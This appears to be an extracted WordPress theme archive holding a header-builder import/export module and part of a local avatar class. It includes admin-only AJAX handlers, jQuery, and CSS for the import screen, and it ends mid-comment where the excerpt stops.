Penci_Custom_Sidebar::initialize();PK     2w\ƹ        data-imex/index.phpnu [        <?php // Silence is golden
PK     2w\w    ,  data-imex/assets/js/advanced-export-admin.jsnu [        (function ($) {
    'use strict';

    $(document).on('click', '.penci-content-export', function (event) {
        event.preventDefault();
        var $this = $(this),
            $filetype = $this.data('type'),
            $fileID = $this.data('id');
        $.ajax({
            method: 'GET',
            url: penci_imex_export_object.ajaxurl,
            data: {
                'action': 'penci_export_content',
                'type': $filetype,
                'id': $fileID,
                'request_id': penci_imex_export_object.nonce
            },
            beforeSend: function (data, settings) {
                $this.addClass('loading');
            },
            success: function (data) {
                var blob = new Blob([data]);
                var link = document.createElement('a');
                link.href = window.URL.createObjectURL(blob);
                link.download = $filetype + '-' + $fileID + '.json';
                link.click();
                link.remove();
                $this.removeClass('loading');
            },
            error: function (jqXHR, textStatus, errorThrown) {
                console.log(jqXHR + " :: " + textStatus + " :: " + errorThrown);
            }
        });
    });

    $(document).on('click', '.penci-import-button', function (event) {
        event.preventDefault();
        var $item = $(this).closest('.penci-imex-item'),
            $id = $item.data('id'),
            $button = $(this),
            $slug = $item.data('slug'),
            $url = $item.data('template_url');

        if (confirm("Are you sure you want to import this header layout?")) {

            $.ajax({
                method: 'POST',
                url: penci_imex_export_object.ajaxurl,
                data: {
                    'action': 'penci_import_content',
                    'id': $id,
                    'content': $url,
                    'slug': $slug,
                    'request_id': penci_imex_export_object.nonce
                },
                beforeSend: function (data, settings) {
                    $button.addClass('loading');
                },
                success: function (data) {
                    $button.removeClass('loading');
                    $button.hide();
                    $('body').find('.penci-imex-item').removeClass('imported');
                    $item.addClass('imported');
                },
                error: function (jqXHR, textStatus, errorThrown) {
                    console.log(jqXHR + " :: " + textStatus + " :: " + errorThrown);
                }
            });
        } else {
            return false;
        }
    });

    $(document).on('submit', '#penci_upload_form', function (event) {
        var form_data = new FormData($('#penci_upload_form')[0]);
        form_data.append('action', 'penci_upload_import');
        $.ajax({
            type: 'POST',
            url: penci_imex_export_object.ajaxurl,
            data: form_data,
            processData: false,
            contentType: false,
            success: function (res) {
                $(document).find('.penci-import-result').html(res.data.text).removeClass('error success').addClass('show ' + res.data.class);
            },
            error: function (jqXHR, textStatus, errorThrown) {
                console.log(jqXHR + " :: " + textStatus + " :: " + errorThrown);
            }
        });
        event.preventDefault();
    });

})(jQuery);
PK     2w\ſ:Oc&  c&  )  data-imex/assets/css/penci-imex-admin.cssnu [        .penci-imex-body {
	margin: 40px 15px 0
}
.penci-imex-body img {
	max-width: 100%;
	height: auto
}
.penci-imex-header {
	margin-bottom: 30px;
	padding: 20px;
	background: #fff;
	border-left-color: #46b450;
	border-width: 0 0 0 4px;
	border-style: solid;
	box-shadow: 0 1px 1px rgba(0, 0, 0, .04)
}
.penci-imex-header h1 {
	margin-top: 0
}
.penci-imex-header p {
	margin-bottom: 0
}
.penci-imex-filter-tabs {
	display: flex;
	align-items: center;
	background: #fff;
	padding: 10px 20px;
	margin-bottom: 20px;
	margin-top: 20px;
	box-shadow: 0 1px 1px rgba(0, 0, 0, .04);
	border: 1px solid #e5e5e5;
	justify-content: space-between;
}
.penci-imex-filter-tabs ul {
	margin-top: 0;
	margin-bottom: 0
}
.penci-imex-filter-tabs ul li {
	font-size: 14px;
	cursor: pointer;
	font-weight: 600;
	padding: 10px 20px
}
.penci-imex-filter-tabs ul li.penci-imex-filter-btn-active {
	background: #dfdfdf;
	border-radius: 5px
}
.penci-imex-count {
	background: var(--wp-admin-theme-color);
	display: inline-block;
	padding: 2px 10px;
	border-radius: 5px;
	margin-left: 5px;
	color: #fff;
	font-size: 12px
}
.penci-imex-types {
	display: flex
}
.penci-imex-types li {
	margin: 0 5px;
	padding: 5px
}
.penci-imex-form-file-import {
	cursor: pointer;
	padding: 8px 25px;
	margin: 0;
	border-radius: 3px;
	background: #0085ba;
	border-color: #0073aa #006799 #006799;
	box-shadow: 0 1px 0 #006799;
	color: #fff;
	text-decoration: none;
	text-shadow: 0 -1px 1px #006799, 1px 0 1px #006799, 0 1px 1px #006799, -1px 0 1px #006799
}
.penci-imex-form-file-import:focus, .penci-imex-form-file-import:hover {
	background: #0073aa;
	border-color: #006799
}
.penci-imex-filter-content {
	background: #f8f8f8;
	display: flex;
	justify-content: center;
}
.penci-imex-filter-content.hidden {
	display: none
}
.penci-imex-sidebar {
	flex-basis: 250px;
	min-width: 270px;
	background: #f9f9f9;
	color: #999;
	padding-top: 30px;
	border-right: 1px solid #ddd;
	box-shadow: 10px 0 10px -3px rgba(0, 0, 0, .1)
}
.penci-imex-import-available-categories {
	margin-top: 20px;
	overflow-y: auto;
	overflow-x: hidden;
	max-height: calc(100% - 23px)
}
.penci-imex-import-available-categories h3 {
	padding-left: 30px;
	padding-right: 30px
}
.penci-imex-import-available-categories ul {
	margin-top: 20px
}
.penci-imex-import-available-categories ul li {
	cursor: pointer;
	font-weight: 600;
	font-size: 14px;
	padding: 15px 30px;
	position: relative;
	z-index: 1;
	margin: 0;
	border-bottom: 1px solid #f1f1f1
}
.penci-imex-import-available-categories ul li:last-child {
	border-bottom: 0;
}
.penci-imex-import-available-categories ul li:focus, .penci-imex-import-available-categories ul li:hover {
	border-color: #f1f1f1;
	color: #444;
}
.penci-imex-import-available-categories ul li span {
	float: right
}
.penci-imex-import-available-categories ul li.penci-imex-filter-btn-active {
	color: #444;
	border-color: #f1f1f1;
	background-color: #f1f1f1;
}
.penci-imex-import-available-categories ul li.penci-imex-filter-btn-active:focus, .penci-imex-import-available-categories ul li.penci-imex-filter-btn-active:hover {
	border-color: #f1f1f1
}
.penci-imex-import-available-categories ul.penci-imex-import-fp-lists {
	border-bottom: 1px solid #ddd;
	text-align: center
}
.penci-imex-import-available-categories ul.penci-imex-import-fp-lists li.penci-imex-fp-filter {
	display: inline-block;
	border: 1px solid transparent;
	margin-bottom: -2px;
	padding: 10px 24px;
	border-radius: 2px 2px 0 0
}
.penci-imex-import-available-categories ul.penci-imex-import-fp-lists li.penci-imex-fp-filter.penci-imex-filter-btn-active {
	background: #fff;
	border-width: 1px 1px 0 1px;
	border-style: solid;
	border-color: #ddd;
	color: #444
}
.penci-imex-import-available-categories ul.penci-imex-import-fp-lists li.penci-imex-fp-filter.penci-imex-filter-btn-active::after {
	display: none
}
.penci-imex-search-control {
	width: 200px
}
.penci-imex-search-control .penci-imex-search-filter {
	padding-left: 10px;
	padding-right: 10px
}
.penci-imex-search-filter {
	height: 36px;
	width: 100%
}
.penci-imex-filter-content-wrapper {
	flex-basis: 920px;
	padding: 15px
}
.penci-imex-item-preview {
	position: relative;
	z-index: 1;
	line-height: 0;
	border-top-right-radius: 4px;
	border-top-left-radius: 4px;
	background: #fff
}
.penci-imex-item-preview .penci-imex-item-screenshot {
	border-top-right-radius: 0;
	border-top-left-radius: 0;
	overflow: hidden
}
.penci-imex-item-preview .penci-imex-item-screenshot img {
	max-width: 100%;
	height: auto;
}
.penci-imex-item-preview .penci-imex-author-info {
	position: absolute;
	left: 0;
	right: 0;
	bottom: 10px;
	width: 100%;
	z-index: 3;
	margin: 0;
	padding: 20px;
	color: #fff;
	font-size: 16px;
	opacity: 0;
	visibility: hidden;
	transition: opacity .5s ease-in-out 0s, visibility .9s ease-in-out 0s
}
.penci-imex-item-preview .penci-imex-details {
	position: absolute;
	left: 0;
	right: 0;
	margin: 0 auto;
	top: 50%;
	width: 130px;
	background: rgba(0, 0, 0, .8);
	height: 40px;
	line-height: 40px;
	text-align: center;
	z-index: 5;
	font-size: 15px;
	font-weight: 600;
	color: #fff;
	opacity: 0;
	visibility: hidden;
	transition: all .5s ease-in-out 0s;
	transform: translateY(-50%)
}
.penci-imex-item-preview .penci-imex-premium-label {
	position: absolute;
	right: -10px;
	top: 20px;
	background: var(--wp-admin-theme-color);
	display: block;
	z-index: 3;
	line-height: 16px;
	padding: 10px 20px;
	height: 16px;
	font-weight: 600;
	color: #fff
}
.penci-imex-item-preview .penci-imex-premium-label:before {
	position: absolute;
	left: -18px;
	top: 0;
	height: 0;
	width: 0;
	content: "";
	border-top: 18px solid var(--wp-admin-theme-color);
	border-left: 18px solid transparent;
	border-bottom: 18px solid var(--wp-admin-theme-color)
}
.penci-imex-item-preview .penci-imex-premium-label:after {
	position: absolute;
	right: 0;
	content: "";
	bottom: -10px;
	width: 0;
	height: 0;
	border-top: 10px solid var(--wp-admin-theme-color);
	border-right: 10px solid transparent
}
.penci-imex-item {
	display: block;
	max-width: 100%;
	margin: 15px 15px 40px;
	box-shadow: 0 2px 15px -3px rgba(0, 0, 0, .2);
	border: 1px solid transparent;
	transition: 0.3s all ease-in-out;
}
.penci-imex-item:hover,
.penci-imex-item.imported {
	border-color: var(--wp-admin-theme-color);
}
.penci-imex-item.imported .theme-name:before {
	content: "\f147";
    font-family: 'dashicons', serif;
    display: inline-block;
    margin-right: 5px;
    vertical-align: middle;
    color: #00d140;
    font-size: 20px;
}
.penci-imex-item.imported .theme-name:after {
    content: "Imported";
    float: right;
    color: #00b738;
}
.penci-imex-item.imported .penci-import-button {
	display: none;
}
@media (min-width: 1600px) {
	.penci-imex-item {
		max-width: 100%
	}
}
.penci-imex-item:hover .penci-imex-author-info {
	visibility: visible;
	opacity: 1
}
.penci-imex-item:hover .penci-imex-details, .penci-imex-item:hover .penci-imex-item-footer-actions {
	visibility: visible;
	opacity: 1
}
.penci-imex-item-footer {
    padding: 15px 20px;
    background: #fff;
    position: relative;
    margin-bottom: 20px;
}
.penci-imex-item-footer .theme-name {
	margin: 0;
	white-space: nowrap;
	width: 98%;
	overflow: hidden;
	text-overflow: ellipsis;
	line-height: 24px
}
.penci-imex-item-footer-actions {
	position: absolute;
	right: 0;
	text-align: center;
	z-index: 4;
	top: 0;
	height: calc(100% - 22px);
	padding: 11px;
	opacity: 0;
	transition: all .1s ease-in-out;
	visibility: hidden;
}
.penci-imex-item-footer-actions .button {
	line-height: 32px;
	height: 35px
}
.penci-imex-item-footer-actions .button .dashicons:not(.dashicons-update) {
	width: 10px;
	height: 10px;
	font-size: 14px;
	vertical-align: middle;
	margin-right: 10px;
	margin-top: -5px
}
.penci-imex-item-footer-actions .button .dashicons.penci-imex-update {
	animation: dashicons-spin 1s linear infinite;
	margin: 17px 0 0 10px;
	width: auto;
	height: auto;
	font-size: 16px
}
.penci-imex-item-footer-actions .button .dashicons.dashicons-visibility {
	font-size: 12px
}
.penci-imex-form {
	padding: 20px;
	background: #fff
}
.penci-imex-form .media-title {
	margin-top: 0
}
.penci-imex-form .input-file {
	padding: 30px 100px;
	border: 1px dashed #cdcdcd;
	margin: 30px 0;
	border-radius: 5px;
	background: #f8f8f8;
	text-align: center;
	clear: both
}
.penci-imex-item.penci-imex-action-importing .penci-imex-item-preview:after {
	visibility: visible;
	opacity: 1
}
.penci-imex-item.penci-imex-action-importing .penci-imex-author-info {
	bottom: 10px
}
.penci-imex-item.penci-imex-action-importing .penci-imex-item-footer-actions {
	top: 50%;
	transform: translateY(-50%)
}
.penci-imex-item.penci-imex-action-importing .penci-imex-demo-import {
	padding-right: 0
}
.penci-imex-item.penci-imex-action-importing .penci-imex-item-footer-actions {
	opacity: 1;
	visibility: visible
}
@keyframes dashicons-spin {
	0% {
		transform: translate3d(-50%, -50%, 0) rotate(0)
	}
	100% {
		transform: translate3d(-50%, -50%, 0) rotate(360deg)
	}
}
.penci-imex-filter-content-heading {
	font-size: 24px;
	text-align: center;
}
.penci-imex-filter-content-heading p {
	margin-top: -10px;
	margin-bottom: 30px;
	font-size: 15px;
}
.input-text-wrap textarea {
	width: 100%;
	height: auto;
	font-family: monospace;
	font-size: 12px;
}
#TB_ajaxContent p.penci-import-result.show {
	padding: 8px 15px;
	background-color: #f1f1f1;
	display: block;
	margin: 20px 0 0;
}
#TB_ajaxContent p.penci-import-result.show.error {
	background-color: indianred;
	color: white;
}
#TB_ajaxContent p.penci-import-result.show.success {
	background-color: var(--wp-admin-theme-color);
	color: white;
}
.penci-imex-form h3,
.penci-imex-form form {
	text-align: center;
}
.penci-imex-form h3 {
	font-size: 26px;
	margin: 0;
}
.penci-imex-form p{
	text-align: center;
	font-size: 14px;
}
.penci-imex-form p a {
    color: #ff0000;
}
PK     2w\s?,  ?,    data-imex/penci-imex.phpnu [        <?php
$upload_dir              = wp_upload_dir();
$penci_imex_temp         = $upload_dir['basedir'] . '/penci-data-imex-temp/';
$penci_imex_temp_uploads = $penci_imex_temp . '/uploads/';

define( 'PENCI_IMEX_TEMP', $penci_imex_temp );
define( 'PENCI_IMEX_TEMP_UPLOADS', $penci_imex_temp_uploads );

class Penci_Export_Init {

	protected $demo_lists = array();

	public function __construct() {
		if ( ! current_user_can( 'manage_options' ) ) {
			return;
		}
		add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_scripts' ) );
		add_action( 'wp_ajax_penci_export_content', array( $this, 'export_content' ) );
		add_action( 'wp_ajax_penci_import_content', array( $this, 'import_content' ) );
		add_action( 'wp_ajax_penci_upload_import', array( $this, 'upload_import' ) );
		add_filter( 'post_row_actions', array( $this, 'add_export_link' ), 10, 2 );
		add_action( 'edit_form_advanced', array( $this, 'init_demo_import' ) );
		add_filter( 'advanced_import_demo_lists', array( $this, 'penci_demo_import_lists' ) );
		add_action( 'edit_form_after_title', array( $this, 'import_button' ), 10 );
		add_action( 'edit_form_after_title', array( $this, 'video_tutorial_button' ), 10 );
		add_action( 'in_admin_footer', array( $this, 'footer_upload' ) );
	}

	function footer_upload() {
		global $pagenow, $post;
		if ( isset( $post->post_type ) && 'penci_builder' == $post->post_type ) {
			add_thickbox();
			?>
			<div class="hidden" id="penci-imex-custom-upload">
				<?php $this->demo_import_form(); ?>
			</div>
			<?php
		}
	}

	public function demo_import_form( $total_demo = 0 ) {
		global $post;
		?>
		<div class="penci-imex-form <?php echo $total_demo > 0 ? 'hidden' : ''; ?>">
			<div id="penci-imex-upload-zip">
				<h3><?php esc_attr_e( 'Import Header Builder', 'soledad' ); ?></h3>
				<p><?php _e( "This is a feature to help you can export settings from a header you've made and import it to another header. It helps in case you want to move all settings from an existing header to another header or move a header from a website to another website.<br>Please check <a href='https://imgresources.s3.amazonaws.com/export-header.png' target='_blank'>this image</a> to know how to export settings for a header.", 'soledad' ); ?></p>
				<form id="penci_upload_form" enctype="multipart/form-data" novalidate>
					<div class="input-file">
						<input id="userupload" type="file" name="file" accept="application/json"/>
						<p class="notes"><?php esc_attr_e( 'Only accept .json export file of Penci Builder.', 'soledad' ); ?></p>
					</div>
					<input type="hidden" name="id" value="<?php echo esc_attr( $post->ID ); ?>">
					<input class="button button-primary button-large" type="submit" value="Import Header Builder"/>
					<?php wp_nonce_field( 'penci-imex-form' ); ?>
				</form>
				<p class="penci-import-result"></p>
			</div>
		</div>
		<?php
	}

	/**
	 * Register the JavaScript for the admin area.
	 *
	 * @since    1.0.0
	 */
	public function enqueue_scripts() {
		global $typenow;
		if ( 'penci_builder' != $typenow ) {
			return;
		}
		wp_enqueue_style(
			'penci-imex-export-style',
			PENCI_SOLEDAD_URL . '/inc/data-imex/assets/css/penci-imex-admin.css',
			array(
				'wp-admin',
				'dashicons',
			),
			'1.0'
		);
		wp_enqueue_script( 'penci-imex-export', PENCI_SOLEDAD_URL . '/inc/data-imex/assets/js/advanced-export-admin.js', array( 'jquery' ), '1.0', false );
		wp_localize_script(
			'penci-imex-export',
			'penci_imex_export_object',
			array(
				'ajaxurl' => admin_url( 'admin-ajax.php' ),
				'nonce'   => wp_create_nonce( 'penci-imex-export' ),
			)
		);
		wp_enqueue_media();
	}

	/**
	 * Export Content
	 *
	 * @since    1.0.0
	 */
	public function export_content() {
		check_ajax_referer( 'penci-imex-export', 'request_id' );
		if ( empty( $_REQUEST['type'] ) || empty( $_REQUEST['id'] ) ) {
			return;
		}

		if ( current_user_can('manage_options') ) {

			$content = get_post_meta( $_REQUEST['id'], 'settings_content', true );
			echo json_encode( $content );
		}
		die();
	}

	public function import_content() {
		check_ajax_referer( 'penci-imex-export', 'request_id' );
		if ( current_user_can('manage_options') ) {
			$demo_file = $_REQUEST['content'];
			$postID    = $_REQUEST['id'];
			$slug      = $_REQUEST['slug'];
			if ( $demo_file ) {
				$file = wp_remote_get( $demo_file );
				$data = json_decode( $file['body'], true );
				if ( isset( $data['penci_builder'][0]['meta']['settings_content'] ) ) {
					$data = $data['penci_builder'][0]['meta']['settings_content'];
				}

				$progress = wp_update_post(
					array(
						'ID'          => $postID,
						'post_status' => 'publish',
						'meta_input'  => array(
							'settings_content' => $data,
							'settings_demo'    => $slug,
						),
					)
				);
				wp_send_json_success( $progress );
			}
		}
		wp_die();
	}

	public function add_export_link( $actions, $post ) {

		$export_posttype = array(
			'penci_builder',
		);

		if ( in_array( $post->post_type, $export_posttype ) ) {
			$actions['penci-export'] = '<a rel="download" data-id="' . esc_attr( $post->ID ) . '" data-type="' . esc_attr( $post->post_type ) . '" class="penci-content-export" href="#">' . __( 'Export' ) . '</a>';
		}

		return $actions;
	}

	public function init_demo_import( $post ) {
		$total_demo = 0;
		if ( 'penci_builder' == $post->post_type ) {
			$this->demo_lists  = apply_filters( 'advanced_import_demo_lists', array() );
			$demo_lists_define = $this->demo_lists;

			$total_demo = count( $demo_lists_define );
			if ( $total_demo >= 1 ) {
				$this->demo_list( $demo_lists_define, $total_demo );
			}
		}
	}

	public function demo_list( $demo_lists, $total_demo ) {
		?>
		<div class="penci-imex-filter-content-heading">
			<h3><?php echo esc_attr( 'Import from Pre-built Headers' ); ?></h3>
			<p><?php echo 'Note that: Import a Pre-Built Header Will Replace All Settings You\'ve Setup for This Header.<br>After Importing A Header, You Need to Edit It with Penci Header Builder and Select The Menus You Want to Show on This Header.'; ?></p>
		</div>
		<div class="penci-imex-filter-content" id="penci-imex-filter-content">
			<div class="penci-imex-filter-content-wrapper">
				<?php
				global $post;
				foreach ( $demo_lists as $key => $demo_list ) {

					/*Check for required fields*/
					if ( ! isset( $demo_list['title'] ) || ! isset( $demo_list['screenshot_url'] ) || ! isset( $demo_list['demo_url'] ) ) {
						continue;
					}

					$data_template = '';
					$template_url  = isset( $demo_list['template_url'] ) && ! empty( $demo_list['template_url'] ) ? $demo_list['template_url'] : '';
					if ( $template_url ) {
						$data_template = 'data-template_url="' . esc_attr( $template_url ) . '"';
					}
					$item_slug = sanitize_title_with_dashes( $demo_list['title'] );
					$demo      = get_post_meta( $post->ID, 'settings_demo', true );
					$class     = $demo == $item_slug ? 'imported' : 'featured-import';
					?>
					<div <?php echo $data_template; ?>
							data-slug="<?php echo esc_attr( $item_slug ); ?>"
							data-id="<?php echo esc_attr( $post->ID ); ?>"
							aria-label="<?php echo esc_attr( $demo_list['title'] ); ?>"
							class="penci-imex-item <?php echo esc_attr( $class ); ?>">
						<div class="penci-imex-item-footer">
							<div class="penci-imex-item-footer_meta">
								<h3 class="theme-name"><?php echo esc_html( $demo_list['title'] ); ?></h3>
								<div class="penci-imex-item-footer-actions">
									<?php if ( ! empty( $demo_list['demo_url'] ) ) : ?>
										<a class="button penci-imex-item-demo-link"
											href="<?php echo esc_url( $demo_list['demo_url'] ); ?>" target="_blank">
											<span class="dashicons dashicons-visibility"></span><?php esc_html_e( 'Preview', 'soledad' ); ?>
										</a>
										<?php
									endif;
									?>
									<a class="button penci-import-button is-button is-default is-primary is-large button-primary"
										href="#"
										aria-label="<?php esc_attr_e( 'Import', 'soledad' ); ?>">
										<span class="dashicons dashicons-download"></span><?php esc_html_e( 'Import', 'soledad' ); ?>
									</a>
								</div>
							</div>
						</div>
						<div class="penci-imex-item-preview">
							<div class="penci-imex-item-screenshot">
								<img alt="" src="<?php echo esc_url( $demo_list['screenshot_url'] ); ?>">
							</div>
						</div>
					</div>
					<?php
				}
				?>
			</div>
		</div>
		<?php
	}

	public function penci_demo_import_lists() {
		$return = array();
		for ( $index = 1; $index <= 16; $index++ ) {
			$title = 'header' . $index;
			$args  = array(
				'title'          => __( 'Header ', 'soledad' ) . $index,
				'type'           => 'header',
				'author'         => __( 'PenciDesign', 'soledad' ),
				'template_url'   => 'https://imgresources.s3.amazonaws.com/header-builder/header-json/header-' . $index . '.json',
				'screenshot_url' => 'https://imgresources.s3.amazonaws.com/header-builder/header-' . $index . '.jpg',
				'demo_url'       => '',
			);
			if ( 9 == $index ) {
				$args['title'] = __( 'Header ', 'soledad' ) . $index . __( ' - Overlap Header', 'soledad' );
			}
			if ( 12 == $index ) {
				$args['title'] = __( 'Header ', 'soledad' ) . $index . __( ' - Overlap Header', 'soledad' );
			}
			$return[ $title ] = $args;
		}

		return $return;
	}

	public function import_button( $post ) {
		if ( 'penci_builder' === $post->post_type ) {
			?>
			<div class="penci-use-import-button penci-builder-button">
				<a data-id="<?php echo $post->ID; ?>"
					href="#TB_inline?&width=600&height=480&inlineId=penci-imex-custom-upload"
					class="thickbox button"><?php echo esc_attr__( 'Import Header Builder', 'soledad' ); ?></a>
			</div>
			<?php
		}
	}

	public function video_tutorial_button( $post ) {
		if ( 'penci_builder' === $post->post_type ) {
			?>
			<div class="penci-video-tutbtn penci-builder-button">
				<a target="_blank"
					href="https://www.youtube.com/watch?v=kUFqsVYyJig&list=PL1PBMejQ2VTwp9ppl8lTQ9Tq7I3FJTT04&index=4"
					class="button"><?php echo esc_attr__( 'Watch Video Tutorial', 'soledad' ); ?></a>
			</div>
			<?php
		}
	}

	public function upload_import() {
		check_ajax_referer( 'penci-imex-form' );
		if ( current_user_can('manage_options') ) {
			$content = '';
			if ( is_uploaded_file( $_FILES['file']['tmp_name'] ) && isset( $_POST['id'] ) ) {
				$id       = $_POST['id'];
				$data_out = '';
				$class    = '';

				$content  = file_get_contents( $_FILES['file']['tmp_name'] );
				$content  = json_decode( $content, true );
				$progress = wp_update_post(
					array(
						'ID'          => $id,
						'post_status' => 'publish',
						'meta_input'  => array(
							'settings_content' => $content,
							'settings_demo'    => 'custom_import',
						),
					)
				);
				if ( is_wp_error( $progress ) ) {
					$errors    = $progress->get_error_messages();
					$data_out .= implode( ',', $errors );
					$class     = 'error';
				} else {
					$data_out = esc_attr__( 'Import Header Builder Data Successfully', 'soledad' );
					$class    = 'success';
				}
			} else {
				$data_out = esc_attr__( 'Please Add Import Data File', 'soledad' );
				$class    = 'error';
			}
			wp_send_json_success(
				array(
					'text'  => $data_out,
					'class' => $class,
				),
				200
			);
		}
	}
}

new Penci_Export_Init();
PK     2w\      avatar/init.phpnu [        <?php
require_once PENCI_SOLEDAD_DIR . '/inc/avatar/class-penci-avatars.php';

if ( ! defined( 'PENCI_IS_NETWORK' ) ) {
	define( 'PENCI_IS_NETWORK', Penci_Avatars::is_network( plugin_basename( __FILE__ ) ) );
}
global $penci_avatars;
add_action( 'init', function() {
	$penci_avatars = new Penci_Avatars();
});

function get_penci_avatar( $id_or_email, $size = 96, $default = '', $alt = '', $args = array() ) {
	return apply_filters( 'penci_avatar', get_avatar( $id_or_email, $size, $default, $alt, $args ) );
}
PK     2w\jN\?  ?    avatar/class-penci-avatars.phpnu [        <?php

/**
 * Main SLA Class.
 */
class Penci_Avatars {
	/**
	 * The user ID.
	 *
	 * @var int.
	 */
	private $user_id_being_edited;

	/**
	 * The upload error comment.
	 *
	 * @var string.
	 */
	private $avatar_upload_error;

	/**
	 * The nonce token.
	 *
	 * @var string
	 */
	private $remove_nonce;

	/**
	 * The ratings.
	 *
	 * @var array
	 */
	private $avatar_ratings;

	/**
	 * The meta key a user.
	 *
	 * @var string
	 */
	private $user_key;

	/**
	 * The meta key a user.
	 *
	 * @var string he meta key for ratings.
	 */
	private $rating_key;

	/**
	 * Configured setting values.
	 *
	 * @var array
	 */
	public $options;

	/**
	 * Set up the hooks and default values
	 */
	public function __construct() {
		$this->add_hooks();

		$this->options        = (array) get_option( 'penci_avatars' );
		$this->user_key       = 'penci_avatar';
		$this->rating_key     = 'penci_avatar_rating';
		$this->avatar_ratings = array(
			'G'  => __( 'G &#8212; Suitable for all audiences', 'soledad' ),
			'PG' => __( 'PG &#8212; Possibly offensive, usually for audiences 13 and above', 'soledad' ),
			'R'  => __( 'R &#8212; Intended for adult audiences above 17', 'soledad' ),
			'X'  => __( 'X &#8212; Even more mature than above', 'soledad' ),
		);

		if ( ! $this->is_avatar_shared() // Are we sharing avatars?
			&& ( ( // And either an ajax request not in the network admin.
					defined( 'DOING_AJAX' ) && DOING_AJAX && isset( $_SERVER['HTTP_REFERER'] ) && ! preg_match( '#^' . network_admin_url() . '#i', $_SERVER['HTTP_REFERER'] ) ) || ( // Or normal request not in the network admin.
					( ! defined( 'DOING_AJAX' ) || ! DOING_AJAX ) && ! is_network_admin() ) ) && is_multisite() ) {
			$this->user_key   = sprintf( $this->user_key . '_%d', get_current_blog_id() );
			$this->rating_key = sprintf( $this->rating_key . '_%d', get_current_blog_id() );
		}
	}

	/**
	 * Register actions and filters.
	 */
	public function add_hooks() {
		global $pagenow;

		add_filter( 'pre_get_avatar_data', array( $this, 'get_avatar_data' ), 10, 2 );
		add_filter( 'pre_option_penci_avatars', array( $this, 'pre_option_penci_avatars' ), 10, 1 );

		add_action( 'admin_init', array( $this, 'admin_init' ) );

		// Load the JS on BE & FE both, in order to support third party plugins like bbPress.
		add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_scripts' ) );
		add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_scripts' ) );

		add_action( 'show_user_profile', array( $this, 'edit_user_profile' ) );
		add_action( 'edit_user_profile', array( $this, 'edit_user_profile' ) );

		add_action( 'personal_options_update', array( $this, 'edit_user_profile_update' ) );
		add_action( 'edit_user_profile_update', array( $this, 'edit_user_profile_update' ) );
		add_action( 'admin_action_remove-penci-avatar', array( $this, 'action_remove_penci_avatar' ) );
		add_action( 'wp_ajax_assign_penci_avatar_media', array( $this, 'ajax_assign_penci_avatar_media' ) );
		add_action( 'wp_ajax_remove_penci_avatar', array( $this, 'action_remove_penci_avatar' ) );
		add_action( 'user_edit_form_tag', array( $this, 'user_edit_form_tag' ) );

		add_action( 'rest_api_init', array( $this, 'register_rest_fields' ) );

		add_action( 'wp_ajax_migrate_from_wp_user_avatar', array( $this, 'ajax_migrate_from_wp_user_avatar' ) );

		if ( defined( 'WP_CLI' ) && WP_CLI ) {
			WP_CLI::add_command( 'penci-avatars migrate wp-user-avatar', array(
				$this,
				'wp_cli_migrate_from_wp_user_avatar'
			) );
		}

		add_action( 'wp_ajax_sla_clear_user_cache', array( $this, 'sla_clear_user_cache' ) );

		add_filter( 'avatar_defaults', array( $this, 'add_avatar_default_field' ) );
		add_action( 'wpmu_new_blog', array( $this, 'set_defaults' ) );

		if ( 'profile.php' === $pagenow ) {
			add_filter( 'media_view_strings', function ( $strings ) {
				$strings['skipCropping'] = esc_html__( 'Default Crop', 'soledad' );

				return $strings;
			}, 10, 1 );
		}
	}

	/**
	 * Determine if plugin is network activated.
	 *
	 * @param string $plugin The plugin slug to check.
	 *
	 * @return boolean
	 */
	public static function is_network( $plugin ) {
		$plugins = get_site_option( 'active_sitewide_plugins', array() );

		if ( is_multisite() && isset( $plugins[ $plugin ] ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Get current plugin network mode
	 */
	public function get_network_mode() {
		if ( PENCI_IS_NETWORK ) {
			return get_site_option( 'penci_avatars_mode', 'default' );
		}

		return 'default';
	}

	/**
	 * Determines if settings handling is enforced on a network level
	 *
	 * Important: this is only meant for admin UI purposes.
	 *
	 * @return boolean
	 */
	public function is_enforced() {
		if ( ( ! is_network_admin() && ( PENCI_IS_NETWORK && 'enforce' === $this->get_network_mode() ) ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Determine if avatars should be shared
	 *
	 * @return boolean
	 */
	public function is_avatar_shared() {
		if ( is_multisite() // Are we on multisite.
			&& ! isset( $this->options['shared'] ) // And our shared option doesn't exist.
			|| ( isset( $this->options['shared'] ) // Or our shared option is set.
				&& 1 === $this->options['shared'] ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Retrieve the local avatar for a user who provided a user ID, email address or post/comment object.
	 *
	 * @param string $avatar Avatar return by original function
	 * @param int|string|object $id_or_email A user ID, email address, or post/comment object
	 * @param int $size Size of the avatar image
	 * @param string $default URL to a default image to use if no avatar is available
	 * @param string $alt Alternative text to use in image tag. Defaults to blank
	 * @param array $args Optional. Extra arguments to retrieve the avatar.
	 *
	 * @return string <img> tag for the user's avatar
	 */
	public function get_avatar( $avatar = '', $id_or_email = '', $size = 96, $default = '', $alt = '', $args = array() ) {
		return apply_filters( 'penci_avatar', get_avatar( $id_or_email, $size, $default, $alt, $args ) );
	}

	/**
	 * Filter avatar data early to add avatar url if needed. This filter hooks
	 * before Gravatar setup to prevent wasted requests.
	 *
	 * @param array $args Arguments passed to get_avatar_data(), after processing.
	 * @param mixed $id_or_email The Gravatar to retrieve. Accepts a user ID, Gravatar MD5 hash,
	 *                           user email, WP_User object, WP_Post object, or WP_Comment object.
	 *
	 * @since 2.2.0
	 *
	 */
	public function get_avatar_data( $args, $id_or_email ) {
		if ( ! empty( $args['force_default'] ) ) {
			return $args;
		}

		$penci_avatar_url = $this->get_penci_avatar_url( $id_or_email, $args['size'] );
		if ( $penci_avatar_url ) {
			$args['url'] = $penci_avatar_url;
		}

		// Local only mode
		if ( ! $penci_avatar_url && ! empty( $this->options['only'] ) ) {
			$args['url'] = $this->get_default_avatar_url( $args['size'] );
		}

		if ( ! empty( $args['url'] ) ) {
			$args['found_avatar'] = true;

			// If custom alt text isn't passed, pull alt text from the local image.
			if ( empty( $args['alt'] ) ) {
				$args['alt'] = $this->get_penci_avatar_alt( $id_or_email );
			}
		}

		return $args;
	}

	/**
	 * Get a user ID from certain possible values.
	 *
	 * @param mixed $id_or_email The Gravatar to retrieve. Accepts a user ID, Gravatar MD5 hash,
